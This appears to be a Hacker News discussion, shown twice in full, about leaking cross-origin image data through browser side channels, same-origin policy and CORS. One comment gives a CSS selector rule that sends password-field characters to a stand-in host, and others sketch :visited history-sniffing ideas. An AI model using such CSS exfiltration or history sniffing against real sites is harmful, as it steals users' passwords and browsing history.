7 ms·

Leaking silhouettes of cross-origin images

195 points by arkadiyt 6y ago

amenghra 6y ago
Reminds me of “pixel perfect attacks with html5” from several years ago. That attack used css/svg filters + timing. https://www.contextis.com/media/downloads/Pixel_Perfect_Timing_Attacks_with_HTML5_Whitepaper.pdf https://www.contextis.com/media/downloads/Pixel_Perfect_Timi...
antiman0 6y ago
There are so many interesting ways of leaking page content using timing attacks like these. There are many more ways to leak content without advanced attackvectors, like using CSS to send server request based on selectors: input[type="password"][value$=" "] { background-image: url("http://localhost:3000/+"); } How can we improve the web to make stuff like this more secure? Just setting up CSP (which can prevent the CSS issue) can be trial & error pain that is hard to test.
- bennettfeely 6y ago
  This doesn't actually work, the value attribute of the input doesn't change as a user types something. With that said, I still think there is a a big discovery yet to be made with browsers leaking users' history via the :visited selector. Only a few CSS properties can be set with it (all related to color). But if there was a way to detect the color difference or timing of the painting that would be a big deal. Possibilities might be with mix-blend-mode, @property, or applying "slow" css properties like a blurry text-shadow dozens of times. I've played around with this a little but haven't found a crack yet.
  - kuschku 6y ago
    How about an extremely slow to render zalgo text, switching between opacity 0 and 1 depending on visited?
    - mlaux 6y ago
      Nice idea. I just tried it - looks like alpha is ignored for colors specified in ::visited and the alpha of the non-visited color is always used.
      - kuschku 6y ago
        well then, use white-on-white vs black-on-white, with subpixel rendering enabled and zalgo text this should still have a measurable performance impact
  - capitainenemo 6y ago
    It would work however on a password change form though which might write out on page load to a password input for comparison: [old] [new] [retype new] Sometimes old is prefilled with [****] for trivial JS overlap checks.
    - zenexer 6y ago
      I’m confused. Are you saying a website might actually spit out your current password or what you had just entered when attempting to change it? The former should never, ever be the case; the latter shouldn’t be the case, although it does happen from time to time.
      - capitainenemo 6y ago
        Attack scenario would be a website loading CSS that is controllable by someone malicious. This could be due to ad code or custom themes for part of the site. That CSS would include selectors that would trigger different remote image requests for different partial matches on the value of the input. Based upon what remote URLs were triggered, one could reconstruct all or part of a password. But I get your point. The website should not know the plaintext of your password for an overlap check unless their security practices are really bad. And if they are that bad, hopefully it is a throwaway password anyway. A duplicate check could still be done with hashes, but partial hash leaks are NBD. Personally, I've had this happen though on password change prompts, which makes me think that the website is storing the value I just entered temporarily in the session. That's still bad even if it isn't being persisted beyond that page post though.
        pmontra 6y ago
        They could store the hashes of all the prefixes of the password and send them to the client. It's almost as bad as sending the password, because it's easy to brute force the cleartext.
  - svnpenn 6y ago
    Please don't be evil. I use the visited feature every single day, and I would be pissed if browsers had to disable it because some jagoff hacked it.
- gruez 6y ago
  Isn't this only an issue on sites that allow custom css? There aren't many of these sites around (the only one I know of is reddit). In most cases if you're in a position to tamper with the css you can also tamper with the js directly.
  - djxfade 6y ago
    Many sites serves CSS from third party CDNs. They could get compromised
jannes 6y ago
The most interesting part for me is that Firefox and Chrome use the same drawing library for 2D canvas. Does this mean that all engines use the same library? Or does WebKit use something else? It reminds me of the Web SQL situation where everyone used the same library (SQLite). Eventually, the standard got deprecated because of that.
- meibo 6y ago
  WebKit used to use Skia as well afaik, but switched to Cairo(a FOSS 2d graphics library without any connections to Google) after Google forked WebKit. The same thing happened to V8, Apple made JavaScriptCore to remove dependencies on any Google-owned code after Google stopped contributing to WebKit itself. https://trac.webkit.org/wiki/WebKitGTK/Dependencies https://trac.webkit.org/wiki/WebKitGTK/Dependencies
  - ronaldj 6y ago
    Pretty sure JavaScriptCore predates Chrome. V8 was Chrome only.
  - saagarjha 6y ago
    Apple has, as far as I can tell, always used CoreText on macOS.
    - meibo 6y ago
      Yeah, you're right, my bad - It seems I was misremembering about that part, too late to edit now.
  - gsnedders 6y ago
    > WebKit used to use Skia as well afaik, but switched to Cairo(a FOSS 2d graphics library without any connections to Google) after Google forked WebKit. IIRC, Skia and Cairo were supported simultaneously before the Blink fork. The Apple ports have always used Core Graphics, provided by the system (or with Apple software—notably iTunes—on Windows). > The same thing happened to V8, Apple made JavaScriptCore to remove dependencies on any Google-owned code after Google stopped contributing to WebKit itself. JavaScriptCore far predates V8: it's a fork of KJS dating back to the KHTML/KJS fork into WebCore/JavaScriptCore.
bgirard 6y ago
Sadly I think long term mitigating these side-channel attacks is not viable. Although stop-gap patches can buy us more time to get a good solution in place. It's impossible for something to behave in the same perfect way all the time with all the performance optimizations, fast paths, and branching. As soon as something is in your process or you can make requests to it, small internal differences will leak information via side channels.
- amenghra 6y ago
  Right. That's why you should set the SameSite attribute on session cookies.
  - bgirard 6y ago
    Sure, but cookies are only a small part of the problem. It's not enough.
    - MrStonedOne 6y ago
      reading of cross origin images isn't an attack vector unless credentials were used to request it. Otherwise its no different then doing curl on the attacker's machine.
      - bgirard 6y ago
        You're a bit too quick to jump to that conclusion so firmly. There are other cases. Does you company have internal tools exposed via the intranet? If you happen to know the URI scheme, from say an ex-employee, you're able to exfiltrate information if you get a current employee on VPN to open your page. This becomes a tool in a layered attack. Sure it's careless to have such anonymous endpoint on your intranet. But there's a reason why anonymous images can't be plainly read back.
        kornbattery 6y ago
        I'd say it's bad design to have everything important in the open just because it's behind a firewall; it's got a huge blast radius when something goes wrong. Securing your services regardless of where they are in the network should be go the go to
arendtio 6y ago
In my opinion, the SOP is a bad/broken solution for the problem it tries to fix. The problem are browsers, using the authentication from another origin when doing cross-origin requests. The SOP tries to fix it by disallowing certain cross-origin requests. But the problem aren't cross-origin requests. The problem is using the authentication/state of another origin during cross-origin requests.
- andrewla 6y ago
  Exactly -- the context under which a resource should be fetched from a remote should be strictly scoped to the origin. Remote fetches should never use any information from the remote site as a top-level context. That is, if I navigate to foo.com which serves an image from bar.com, bar.com can set cookies, etc., and on future visits to foo.com the foo.com->bar.com context should be used. But if I go to hat.com and it serves an image from bar.com, none of the foo.com->bar.com context should be used, only the hat.com->bar.com context. Disabling third party cookies gets you maybe 60% of this, but we need to keep going, disabling all caches, etc., except as tied to the context of interest. It's probably also time to get rid of the idea of "visited" for a link and similar features that use global information rather than information scoped to the currently visited site. And, of course, eternal vigilance against browser fingerprinting attacks. Since this would cripple a fair share of targeted advertising, we might not see this appearing in Chrome (although they do offer third-party-cookie-blocking, so there's that), but we should definitely see it in Firefox.
  - Macha 6y ago
    I think First Party Isolation (available by default in Tor browser and via a about:config flag in Firefox) is this feature?
    - andrewla 6y ago
      Neat -- this looks like exactly it. Maybe it's time to make the switchover.
    - the_duke 6y ago
tinus_hn 6y ago
What is the use case for the operations that cause these ‘tainted’ canvases anyway?
- nine_k 6y ago
  Combine several pictures from a third party, but only show it to the user, and hide from scripts. Something like a captcha or a security code maybe?
JoshTriplett 6y ago
I wonder how much of the web would break if non-same-origin images just couldn't be used in canvases, or in any way other than in an img tag that shows the whole unmodified undecorated image? I get why non-same-origin images need to keep working. I'm curious what depends on using non-same-origin images in canvas rendering, and how hard it'd be for those sites to migrate to loading those images first-party.
- nemothekid 6y ago
  I can give one data point - you have a site that is hosted via static site generator (something like netlify) and users can upload images (that you probably store on S3). Then you provide a service that requires drawing on those images (maybe a map, or heatmap, or some markup tool). Usually you learn that the canvas is tainted and you adjust CORS accordingly. Forcing same-site would require a server side proxy (defeating the point of using a CDN).
  - JoshTriplett 6y ago
    Why a server-side proxy, rather than just putting S3 behind the same CDN (which will probably save you bandwidth charges at the same time)?
    - nemothekid 6y ago
      If you are using something like Netlify, then you would need them to serve your S3 content from their CDN (which I don't think they support). For my specific use case, we host our application on our own domain (on our PaaS), then use a CDN for static assets. If we needed to also serve s3 assets from the same domain then it would mean routing routes in that node application to serve from s3 (effectively a server side proxy).

195 points by arkadiyt 6y ago

Reminds me of “pixel perfect attacks with html5” from several years ago. That attack used css/svg filters + timing. https://www.contextis.com/media/downloads/Pixel_Perfect_Timing_Attacks_with_HTML5_Whitepaper.pdf https://www.contextis.com/media/downloads/Pixel_Perfect_Timi...

antiman0 6y ago

There are so many interesting ways of leaking page content using timing attacks like these. There are many more ways to leak content without advanced attackvectors, like using CSS to send server request based on selectors: input[type="password"][value$=" "] { background-image: url("http://localhost:3000/+"); } How can we improve the web to make stuff like this more secure? Just setting up CSP (which can prevent the CSS issue) can be trial & error pain that is hard to test.

bennettfeely 6y ago
This doesn't actually work, the value attribute of the input doesn't change as a user types something. With that said, I still think there is a a big discovery yet to be made with browsers leaking users' history via the :visited selector. Only a few CSS properties can be set with it (all related to color). But if there was a way to detect the color difference or timing of the painting that would be a big deal. Possibilities might be with mix-blend-mode, @property, or applying "slow" css properties like a blurry text-shadow dozens of times. I've played around with this a little but haven't found a crack yet.
- kuschku 6y ago
  How about an extremely slow to render zalgo text, switching between opacity 0 and 1 depending on visited?
  - mlaux 6y ago
    Nice idea. I just tried it - looks like alpha is ignored for colors specified in ::visited and the alpha of the non-visited color is always used.
    - kuschku 6y ago
      well then, use white-on-white vs black-on-white, with subpixel rendering enabled and zalgo text this should still have a measurable performance impact
- capitainenemo 6y ago
  It would work however on a password change form though which might write out on page load to a password input for comparison: [old] [new] [retype new] Sometimes old is prefilled with [****] for trivial JS overlap checks.
  - zenexer 6y ago
    I’m confused. Are you saying a website might actually spit out your current password or what you had just entered when attempting to change it? The former should never, ever be the case; the latter shouldn’t be the case, although it does happen from time to time.
    - capitainenemo 6y ago
      Attack scenario would be a website loading CSS that is controllable by someone malicious. This could be due to ad code or custom themes for part of the site. That CSS would include selectors that would trigger different remote image requests for different partial matches on the value of the input. Based upon what remote URLs were triggered, one could reconstruct all or part of a password. But I get your point. The website should not know the plaintext of your password for an overlap check unless their security practices are really bad. And if they are that bad, hopefully it is a throwaway password anyway. A duplicate check could still be done with hashes, but partial hash leaks are NBD. Personally, I've had this happen though on password change prompts, which makes me think that the website is storing the value I just entered temporarily in the session. That's still bad even if it isn't being persisted beyond that page post though.
      - pmontra 6y ago
        They could store the hashes of all the prefixes of the password and send them to the client. It's almost as bad as sending the password, because it's easy to brute force the cleartext.
- svnpenn 6y ago
  Please don't be evil. I use the visited feature every single day, and I would be pissed if browsers had to disable it because some jagoff hacked it.
gruez 6y ago
Isn't this only an issue on sites that allow custom css? There aren't many of these sites around (the only one I know of is reddit). In most cases if you're in a position to tamper with the css you can also tamper with the js directly.
- djxfade 6y ago
  Many sites serves CSS from third party CDNs. They could get compromised

jannes 6y ago

The most interesting part for me is that Firefox and Chrome use the same drawing library for 2D canvas. Does this mean that all engines use the same library? Or does WebKit use something else? It reminds me of the Web SQL situation where everyone used the same library (SQLite). Eventually, the standard got deprecated because of that.

meibo 6y ago
WebKit used to use Skia as well afaik, but switched to Cairo(a FOSS 2d graphics library without any connections to Google) after Google forked WebKit. The same thing happened to V8, Apple made JavaScriptCore to remove dependencies on any Google-owned code after Google stopped contributing to WebKit itself. https://trac.webkit.org/wiki/WebKitGTK/Dependencies https://trac.webkit.org/wiki/WebKitGTK/Dependencies
- ronaldj 6y ago
  Pretty sure JavaScriptCore predates Chrome. V8 was Chrome only.
- saagarjha 6y ago
  Apple has, as far as I can tell, always used CoreText on macOS.
  - meibo 6y ago
    Yeah, you're right, my bad - It seems I was misremembering about that part, too late to edit now.
- gsnedders 6y ago
  > WebKit used to use Skia as well afaik, but switched to Cairo(a FOSS 2d graphics library without any connections to Google) after Google forked WebKit. IIRC, Skia and Cairo were supported simultaneously before the Blink fork. The Apple ports have always used Core Graphics, provided by the system (or with Apple software—notably iTunes—on Windows). > The same thing happened to V8, Apple made JavaScriptCore to remove dependencies on any Google-owned code after Google stopped contributing to WebKit itself. JavaScriptCore far predates V8: it's a fork of KJS dating back to the KHTML/KJS fork into WebCore/JavaScriptCore.

bgirard 6y ago

Sadly I think long term mitigating these side-channel attacks is not viable. Although stop-gap patches can buy us more time to get a good solution in place. It's impossible for something to behave in the same perfect way all the time with all the performance optimizations, fast paths, and branching. As soon as something is in your process or you can make requests to it, small internal differences will leak information via side channels.

amenghra 6y ago
Right. That's why you should set the SameSite attribute on session cookies.
- bgirard 6y ago
  Sure, but cookies are only a small part of the problem. It's not enough.
  - MrStonedOne 6y ago
    reading of cross origin images isn't an attack vector unless credentials were used to request it. Otherwise its no different then doing curl on the attacker's machine.
    - bgirard 6y ago
      You're a bit too quick to jump to that conclusion so firmly. There are other cases. Does you company have internal tools exposed via the intranet? If you happen to know the URI scheme, from say an ex-employee, you're able to exfiltrate information if you get a current employee on VPN to open your page. This becomes a tool in a layered attack. Sure it's careless to have such anonymous endpoint on your intranet. But there's a reason why anonymous images can't be plainly read back.
      - kornbattery 6y ago
        I'd say it's bad design to have everything important in the open just because it's behind a firewall; it's got a huge blast radius when something goes wrong. Securing your services regardless of where they are in the network should be go the go to

arendtio 6y ago

In my opinion, the SOP is a bad/broken solution for the problem it tries to fix. The problem are browsers, using the authentication from another origin when doing cross-origin requests. The SOP tries to fix it by disallowing certain cross-origin requests. But the problem aren't cross-origin requests. The problem is using the authentication/state of another origin during cross-origin requests.

andrewla 6y ago
Exactly -- the context under which a resource should be fetched from a remote should be strictly scoped to the origin. Remote fetches should never use any information from the remote site as a top-level context. That is, if I navigate to foo.com which serves an image from bar.com, bar.com can set cookies, etc., and on future visits to foo.com the foo.com->bar.com context should be used. But if I go to hat.com and it serves an image from bar.com, none of the foo.com->bar.com context should be used, only the hat.com->bar.com context. Disabling third party cookies gets you maybe 60% of this, but we need to keep going, disabling all caches, etc., except as tied to the context of interest. It's probably also time to get rid of the idea of "visited" for a link and similar features that use global information rather than information scoped to the currently visited site. And, of course, eternal vigilance against browser fingerprinting attacks. Since this would cripple a fair share of targeted advertising, we might not see this appearing in Chrome (although they do offer third-party-cookie-blocking, so there's that), but we should definitely see it in Firefox.
- Macha 6y ago
  I think First Party Isolation (available by default in Tor browser and via a about:config flag in Firefox) is this feature?
  - andrewla 6y ago
    Neat -- this looks like exactly it. Maybe it's time to make the switchover.
  - the_duke 6y ago

tinus_hn 6y ago

What is the use case for the operations that cause these ‘tainted’ canvases anyway?

nine_k 6y ago
Combine several pictures from a third party, but only show it to the user, and hide from scripts. Something like a captcha or a security code maybe?

JoshTriplett 6y ago

I wonder how much of the web would break if non-same-origin images just couldn't be used in canvases, or in any way other than in an img tag that shows the whole unmodified undecorated image? I get why non-same-origin images need to keep working. I'm curious what depends on using non-same-origin images in canvas rendering, and how hard it'd be for those sites to migrate to loading those images first-party.

nemothekid 6y ago
I can give one data point - you have a site that is hosted via static site generator (something like netlify) and users can upload images (that you probably store on S3). Then you provide a service that requires drawing on those images (maybe a map, or heatmap, or some markup tool). Usually you learn that the canvas is tainted and you adjust CORS accordingly. Forcing same-site would require a server side proxy (defeating the point of using a CDN).
- JoshTriplett 6y ago
  Why a server-side proxy, rather than just putting S3 behind the same CDN (which will probably save you bandwidth charges at the same time)?
  - nemothekid 6y ago
    If you are using something like Netlify, then you would need them to serve your S3 content from their CDN (which I don't think they support). For my specific use case, we host our application on our own domain (on our PaaS), then use a CDN for static assets. If we needed to also serve s3 assets from the same domain then it would mean routing routes in that node application to serve from s3 (effectively a server side proxy).